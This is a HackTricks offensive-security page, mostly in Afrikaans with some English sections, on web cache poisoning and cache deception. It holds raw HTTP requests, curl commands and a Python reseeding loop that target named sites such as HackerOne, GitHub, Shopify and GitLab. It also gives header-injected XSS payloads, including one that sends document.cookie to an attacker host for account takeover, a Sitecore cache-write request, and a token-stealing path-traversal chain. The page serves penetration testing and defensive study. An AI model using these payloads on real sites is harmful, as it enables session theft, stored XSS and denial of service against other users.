Cache Poisoning and Cache Deception

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Die verskil

Wat is die verskil tussen web cache poisoning en web cache deception?

  • In web cache poisoning, die aanvaller veroorsaak dat die toepassing sekere kwaadwillige inhoud in die cache stoor, en hierdie inhoud word uit die cache aan ander toepassingsgebruikers bedien.
  • In web cache deception, die aanvaller veroorsaak dat die toepassing sekere sensitiewe inhoud wat aan ’n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.

Cache Poisoning

Cache poisoning is gemik op die manipulasie van die client-side cache om kliĂ«nte te dwing om bronne te laai wat onverwags, gedeeltelik, of onder beheer van ’n aanvaller is. Die omvang van die impak hang af van die gewildheid van die geraakte bladsy, aangesien die besmette respons uitsluitlik bedien word aan gebruikers wat die bladsy besoek tydens die periode van cache-besmetting.

Die uitvoering van ’n cache poisoning-aanval behels verskeie stappe:

  1. Identifikasie van Unkeyed Inputs: Dit is parameters wat, hoewel nie nodig is vir ’n versoek om in die cache gestoor te word nie, die respons wat deur die server teruggestuur word kan verander. Om hierdie inputs te identifiseer is deurslaggewend aangesien hulle uitgebuit kan word om die cache te manipuleer.
  2. Eksploitasie van die Unkeyed Inputs: Nadat jy die unkeyed inputs geïdentifiseer het, behels die volgende stap om uit te werk hoe om hierdie parameters te misbruik om die server se respons te verander op ’n manier wat vir die aanvaller voordelig is.
  3. Versekering dat die Poisoned Response in die cache gestoor word: Die finale stap is om te verseker dat die gemanipuleerde respons in die cache gestoor word. Op dié manier sal enige gebruiker wat die geraakte bladsy besoek terwyl die cache vergiftig is die besmette respons ontvang.

Ontdekking: Kontroleer HTTP headers

Gewoonlik, wanneer ’n respons in die cache gestoor is sal daar ’n header wees wat dit aandui, jy kan kyk na watter headers jy aandag aan moet gee in hierdie post: HTTP Cache headers.

Ontdekking: Cacheer foutkodes

As jy dink dat die respons in ’n cache gestoor word, kan jy probeer om versoeke met ’n slegte header te stuur, wat ’n status code 400 behoort te beantwoord. Dan probeer om die versoek normaalweg te benader en as die respons ’n 400 status code is, weet jy dit is kwesbaar (en jy kan selfs ’n DoS uitvoer).

You can find more options in:

Cache Poisoning to DoS

Let egter daarop dat soms hierdie tipe statuskodes nie in die cache gestoor word nie, so hierdie toets dalk nie betroubaar is nie.

Ontdekking: Identifiseer en evalueer unkeyed inputs

Jy kan Param Miner gebruik om brute-force parameters en headers te probeer wat moontlik die respons van die bladsy verander. Byvoorbeeld, ’n bladsy mag die header X-Forwarded-For gebruik om die kliĂ«nt aan te dui om die script daarvandaan te laai:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Lok ’n skadelike reaksie van die back-end server

Sodra die parameter/header geïdentifiseer is, kyk hoe dit gesaniteer word en waar dit gereflekteer word of die response uit die header beïnvloed. Kan jy dit op enige manier misbruik (voer ’n XSS uit of laai ’n JS-kode wat deur jou beheer word? voer ’n DoS uit?
)

Kry die response in die cache

Sodra jy die bladsy geïdentifiseer het wat misbruik kan word, watter parameter/header om te gebruik en hoe om dit te misbruik, moet jy die bladsy in die cache kry. Afhangend van die resource wat jy probeer in die cache kry, kan dit ’n rukkie neem; jy mag dit vir ’n paar sekondes moet probeer.

Die header X-Cache in die response kan baie nuttig wees aangesien dit die waarde miss kan hĂȘ wanneer die request nie in die cache was nie en die waarde hit wanneer dit in die cache is.
Die header Cache-Control is ook interessant om te weet of ’n resource gekas word en wanneer die volgende keer die resource weer gekas sal word: Cache-Control: public, max-age=1800

Nog ’n interessante header is Vary. Hierdie header word dikwels gebruik om addisionele headers aan te dui wat as deel van die cache key behandel word, selfs al is hulle normaalweg nie ge-keyed nie. Daarom, as die gebruiker die User-Agent van die teiken ken, kan hy die cache vergiftig vir gebruikers wat daardie spesifieke User-Agent gebruik.

Nog ’n header wat met die cache verband hou is Age. Dit gee die tyd in sekondes aan dat die objek in die proxy cache was.

Wanneer jy ’n request in die cache plaas, wees versigtig met die headers wat jy gebruik, want sommige van hulle kan onverwag gebruik word as ge-keyed en die teiken sal daardie selfde header moet gebruik. Toets altyd ’n Cache Poisoning met verskillende browsers om te kyk of dit werk.

Grondliggende cache poisoning gevallestudies

HackerOne globale redirect via X-Forwarded-Host

  • Die origin het templated redirects en canonical URLs met X-Forwarded-Host gebruik, maar die cache key het slegs die Host header gebruik, so ’n enkele response het elke besoeker na / vergiftig.
  • Vergiftig met:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
  • Vra onmiddellik weer vir / sonder die gespoofte header; as die omleiding voortduur het jy ’n globale host-spoofing primitive wat dikwels reflected redirects/Open Graph links in stored issues opgradeer.

GitHub repository DoS via Content-Type + PURGE

  • Anonymous traffic was keyed only on path, terwyl die backend in ’n foutstaat beland het toe dit ’n onverwante Content-Type gesien het. Daardie foutantwoord was cacheable vir elke unauthenticated gebruiker van ’n repo.
  • GitHub het ook (per ongeluk) die PURGE verb gerespekteer, wat die attacker toegelaat het om ’n gesonde entry uit te spoel en caches te dwing om die poisoned variant op aanvraag te haal:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
  • Vergelyk altyd authenticated vs anonymous cache keys, fuzz seldsaam ge-keyde headers soos Content-Type, en probe vir blootgestelde cache-maintenance verbs om re-poisoning te outomatiseer.

Shopify cross-host persistence loops

  • Multi-layer caches vereis soms meerdere identiese hits voordat ’n nuwe object gecommit word. Shopify het dieselfde cache oor baie gelokaliseerde hosts hergebruik, dus het persistence impak op baie properties gehad.
  • Gebruik kort automation loops om herhaaldelik te reseed:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
  • Na ’n hit response, crawl ander hosts/assets wat dieselfde cache namespace deel om die cross-domain blast radius te demonstreer.

JS asset-omleiding → stored XSS-ketting

  • Privaat programme bied dikwels gedeelde JS aan, soos /assets/main.js, oor dosyne subdomeine. As X-Forwarded-Host die redirect logic vir daardie assets beĂŻnvloed maar unkeyed is, word die gecachede response ’n 301 na aanvallers se JS, wat stored XSS oral tot gevolg het waar die asset ingevoer word.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
  • Karteer watter hosts dieselfde asset path hergebruik sodat jy multi-subdomain compromise kan bewys.

GitLab statiese DoS via X-HTTP-Method-Override

  • GitLab het statiese bundles vanaf Google Cloud Storage bedien, wat X-HTTP-Method-Override ondersteun. Deur GET na HEAD te override is ’n cacheable 200 OK met Content-Length: 0 teruggegee, en die edge cache het die HTTP method geĂŻgnoreer toe dit die key gegenereer het.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
  • ’n enkele versoek het die JS bundle vervang met ’n leĂ« body vir elke GET, wat effektief die UI DoSing veroorsaak het. Toets altyd method overrides (X-HTTP-Method-Override, X-Method-Override, ens.) teen static assets en bevestig of die cache op metode verskil.

HackerOne statiese asset-lus via X-Forwarded-Scheme

  • Rails se Rack middleware het op X-Forwarded-Scheme vertrou om te besluit of HTTPS afgedwing moet word. Spoofing http teen /static/logo.png het ’n cacheable 301 veroorsaak, sodat alle gebruikers daarna redirects (of lusse) in plaas van die asset ontvang het:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
  • Kombineer scheme spoofing met host spoofing waar moontlik om onomkeerbare redirects te skep vir uiters sigbare resources.

Cloudflare host-header casing mismatch

  • Cloudflare het die Host header genormaliseer vir cache keys, maar het die rou kasus na origins deurgestuur. Die stuur van Host: TaRgEt.CoM het alternatiewe gedrag in origin routing/templating getrigger, terwyl dit steeds die kanonieke lowercase cache bucket gevul het.
GET / HTTP/1.1
Host: TaRgEt.CoM
  • Enumereer CDN tenants deur mixed-case hosts (en ander normalized headers) te replay en diff die cached response versus die origin response om shared-platform cache poisonings op te spoor.

Red Hat Open Graph meta poisoning

  • Deur X-Forwarded-Host binne Open Graph tags in te spuit het ’n reflected HTML injection in ’n stored XSS verander sodra die CDN die bladsy gecached het. Gebruik ’n harmless cache buster tydens toetsing om produksiegebruikers nie te benadeel nie:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
  • Sosiale media scrapers verbruik gecachede Open Graph tags, sodat ’n enkele poisoned entry die payload veel verder as direkte besoekers versprei.

Uitbuitingsvoorbeelde

Maklikste voorbeeld

’n Header soos X-Forwarded-For word ongesanitiseerd in die response weerspieĂ«l.
Jy kan ’n basiese XSS payload stuur en poison the cache sodat almal wat die bladsy besoek XSSed sal word:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Let daarop dat dit ’n request na /en?region=uk gaan poison, nie na /en nie

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

In this writeup word die volgende eenvoudige scenario verduidelik:

  • Die CDN sal alles onder /share/ cache
  • Die CDN sal nie %2F..%2F decodeer of normaliseer nie, daarom kan dit gebruik word as path traversal to access other sensitive locations that will be cached soos https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Die webserver sal wel %2F..%2F decodeer en normaliseer, en sal reageer met /api/auth/session, wat contains the auth token.

Cookies kan ook in die response van ’n bladsy weerspieĂ«l word. As jy dit byvoorbeeld kan misbruik om ’n XSS te veroorsaak, kan jy XSS in verskeie kliĂ«nte eksploiteer wat die kwaadwillige cache response laai.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Let wel, as die kwesbare cookie baie deur gebruikers gebruik word, sal gewone versoeke die cache skoonmaak.

Generering van verskille met afbakeners, normalisering en punte

Kyk:

Cache Poisoning via URL discrepancies

Cache poisoning with path traversal to steal API key

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

Dit word ook beter verduidelik in:

Cache Poisoning via URL discrepancies

Gebruik van verskeie headers om web cache poisoning kwetsbaarhede te misbruik

Soms sal jy nodig hĂȘ om verskeie unkeyed inputs te misbruik om ’n cache te kan misbruik. Byvoorbeeld, jy kan ’n Open redirect vind as jy X-Forwarded-Host op ’n domein wat jy beheer stel en X-Forwarded-Scheme op http. As die server al die HTTP versoeke na HTTPS deurstuur en die header X-Forwarded-Scheme as die domeinnaam vir die redirect gebruik, kan jy beheer waarheen die bladsy deur die redirect verwys.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Uitbuiting met beperkte Varyheader

As jy vind dat die X-Host header gebruik word as domeinnaam om ’n JS resource te laai, maar die Vary header in die respons aandui User-Agent, moet jy ’n manier vind om die User-Agent van die slagoffer te exfiltrate en die cache te poison deur daardie user agent te gebruik:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Stuur ’n GET request met die request in die URL en in die body. As die web server die een uit die body gebruik maar die cache server die een uit die URL cache, sal enigiemand wat daardie URL besoek eintlik die parameter uit die body gebruik. Soos die vuln wat James Kettle op die Github website gevind het:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Daar is ’n Portswigger lab hieroor: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Byvoorbeeld is dit moontlik om parameters in ruby servers te skei met die karakter ; in plaas van &. Dit kan gebruik word om unkeyed parameters values binne keyed ones te plaas en dit te misbruik.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Leer hier oor hoe om Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

Die Web Cache Vulnerability Scanner kan gebruik word om outomaties vir web cache poisoning te toets. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Hierdie werklike patroon ketting ’n header-based reflection primitive met CDN/WAF-gedrag om betroubaar die gecachte HTML wat aan ander gebruikers bedien word te poison:

  • Die hoof HTML het ’n untrusted request header (bv. User-Agent) in uitvoerbare konteks gereflekteer.
  • Die CDN het cache headers gestript maar ’n internal/origin cache het bestaan. Die CDN het ook requests wat in statiese extensies eindig (bv. .js) outomaties gecache, terwyl die WAF minder streng content inspection op GETs vir statiese assets toegepas het.
  • Request flow quirks het toegelaat dat ’n request na ’n .js path die cache key/variant wat vir die daaropvolgende hoof HTML gebruik is beĂŻnvloed, wat cross-user XSS via header reflection moontlik maak.

Praktiese resep (waargeneem oor ’n gewilde CDN/WAF):

  1. Vanaf ’n skoon IP (vermy vorige reputation-based downgrades), stel ’n kwaadwillige User-Agent via browser of Burp Proxy Match & Replace.
  2. In Burp Repeater, berei ’n groep van twee requests voor en gebruik “Send group in parallel” (single-packet mode werk die beste):
  • Eerste request: GET ’n .js resource path op dieselfde origin terwyl jy jou kwaadwillige User-Agent stuur.
  • Meteens daarna: GET die hoofblad (/).
  1. Die CDN/WAF routing race plus die auto-cached .js saai dikwels ’n poisoned cached HTML-variant wat dan aan ander besoekers bedien word wat dieselfde cache key-voorwaardes deel (bv. dieselfde Vary dimensies soos User-Agent).

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

  • Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
  • Using an IP from the CDN’s own cloud sometimes improves routing consistency.
  • If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.

Impact:

  • If session cookies aren’t HttpOnly, zero-click ATO is possible by mass-exfiltrating document.cookie from all users who are served the poisoned HTML.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

’n Sitecore‑spesifieke patroon maak onbevoegde skryfbewyse na die HtmlCache moontlik deur pre‑auth XAML handlers en AjaxScriptManager reflection te misbruik. Wanneer die Sitecore.Shell.Xaml.WebControl handler bereik word, is ’n xmlcontrol:GlobalHeader (afgeleid van Sitecore.Web.UI.WebControl) beskikbaar en die volgende reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>
payload
</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Dit skryf arbitrĂȘre HTML onder ’n attacker‑chosen cache key, wat presiese poisoning moontlik maak sodra die cache keys bekend is.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

Kwetsbare Voorbeelde

Apache Traffic Server (CVE-2021-27577)

ATS het die fragment binne die URL deurgegee sonder om dit te verwyder en het die cache key slegs gegenereer met gebruik van die host, path en query (die fragment geïgnoreer). Dus is die versoek /#/../?r=javascript:alert(1) na die backend gestuur as /#/../?r=javascript:alert(1) en die cache key het nie die payload ingesluit nie — slegs host, path en query.

403 and Storage Buckets

Cloudflare het voorheen 403-responsies gekas. Om S3 of Azure Storage Blobs met verkeerde Authorization headers te benader, sou ’n 403-respons tot gevolg gehad het wat gekas is. Alhoewel Cloudflare opgehou het om 403-responsies te cache, mag hierdie gedrag steeds in ander proxy services voorkom.

Injecting Keyed Parameters

Caches sluit dikwels spesifieke GET-parameters in die cache key in. Byvoorbeeld, Fastly’s Varnish het die size parameter in versoeke gekas. As ’n URL-encoded weergawe van die parameter (bv. siz%65) ook met ’n verkeerde waarde gestuur is, sou die cache key egter saamgestel word met die korrekte size parameter. Die backend sou egter die waarde in die URL-encoded parameter verwerk. URL-encoding van die tweede size parameter het gelei tot sy weglating deur die cache maar tot gebruik deur die backend. Om 0 as waarde aan hierdie parameter toe te ken het ’n cachebare 400 Bad Request fout tot gevolg gehad.

User Agent Rules

Sommige ontwikkelaars blokkeer versoeke met user-agents wat ooreenstem met dié van hoë-trafiek tools soos FFUF of Nuclei om bedienerlas te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring.

Illegal Header Fields

Die RFC7230 spesifiseer die aanvaarbare karakters in header name. Headers wat karakters buite die gespesifiseerde tchar-reeks bevat, behoort idealiter ’n 400 Bad Request respons te veroorsaak. In praktyk hou servers nie altyd by hierdie standaard nie. ’n Opmerklike voorbeeld is Akamai, wat headers met ongeldig karakters deurstuur en enige 400-fout kas, solank die cache-control header nie teenwoordig is nie. ’n Uitbuitbare patroon is geïdentifiseer waar die stuur van ’n header met ’n onwettige karakter, soos \, tot ’n cachebare 400 Bad Request fout sou lei.

Nuwe headers vind

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Die doel van Cache Deception is om kliënte resources te laat laai wat deur die cache gestoor sal word met hul sensitiewe inligting.

First of all note that extensions such as .css, .js, .png etc are usually configured to be saved in the cache. Therefore, if you access www.example.com/profile.php/nonexistent.js the cache will probably store the response because it sees the .js extension. But, if the application is replaying with the sensitive user contents stored in www.example.com/profile.php, you can steal those contents from other users.

Other things to test:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Gebruik minder bekende extensies soos .avif

Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user’s sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.

Note that the cache proxy should be configured to cache files based on the extension of the file (.css) and not base on the content-type. In the example http://www.example.com/home.php/non-existent.css will have a text/html content-type instead of a text/css mime type.

Lees hier hoe om Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)

This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.

High level idea:

  • ’n sensitiewe API endpoint vereis ’n custom auth header en is korrek gemerk as non-cacheable deur die origin.
  • Deur ’n staties-lykende suffix (bv. .css) daarby te sit laat die CDN die pad as ’n static asset hanteer en die respons cache, dikwels sonder om op sensitiewe headers te vary.
  • Die SPA bevat CSPT: dit concatenates ’n user-controlled path segment in die API URL terwyl dit die victim’s auth header (bv. X-Auth-Token) aanheg. Deur ../.. traversal in te spuit word die authenticated fetch omgeleid na die cacheable path variant (
/v1/token.css), wat veroorsaak dat die CDN die victim’s token JSON onder ’n public key cache.
  • Enigeen kan dan daardie selfde cache key GET sonder authentication en die victim se token terugkry.

Example

  • Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • Staties-lykende agtervoegsel laat CDN cacheerbaar word:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • CSPT in SPA voeg auth header by en laat traversal toe:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
  • Exploit chain:
  1. Lok ’n slagoffer na ’n URL wat dot-segments in die SPA path parameter inbring, e.g.:
  1. Die SPA stuur ’n geauthentiseerde fetch na:
  1. Blaaier-normalisering los dit op na:
  1. Die CDN beskou .css as ’n statiese asset en cache die JSON met Cache-Control: public, max-age=

  2. Publieke herwinning: enigiemand kan dan GET https://api.example.com/v1/token.css en die gecachede token JSON bekom.

Preconditions

  • SPA doen ’n geauthentiseerde fetch/XHR na dieselfde API origin (of cross-origin met werkende CORS) en heg sensitiewe headers of bearer tokens aan.
  • Edge/CDN pas extension-based caching toe vir statiese-lykende paths (bv., *.css, *.js, images) en varieer nie die cache key op die sensitiewe header nie.
  • Die origin vir die basis-endpoint is nie-cacheable (korrek) nie, maar die extension-suffixed variant word toegelaat of nie geblokkeer deur edge rules nie.

Validation checklist

  • Identifiseer sensitiewe dinamiese endpoints en probeer agtervoegsels soos .css, .js, .jpg, .json. Kyk vir Cache-Control: public/max-age en X-Cache: Hit (of ekwivalent, bv., CF-Cache-Status) terwyl die inhoud JSON bly.
  • Vind kliĂ«ntkode wat gebruiker-beheerde insette in API paths konkateer terwyl auth headers aangeheg word. Injiseer ../ reekse om die geauthentiseerde versoek na jou teiken-endpoint te herlei.
  • Bevestig dat die geauthentiseerde header teenwoordig is op die herteiken-forespraak (bv., in ’n proxy of via server-side logs) en dat die CDN die response onder die deurgevoerde pad cache.
  • Van ’n vars konteks (geen auth), versoek dieselfde pad en bevestig dat die geheime JSON uit die cache bedien word.

Outomatiese Gereedskap

  • toxicache: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks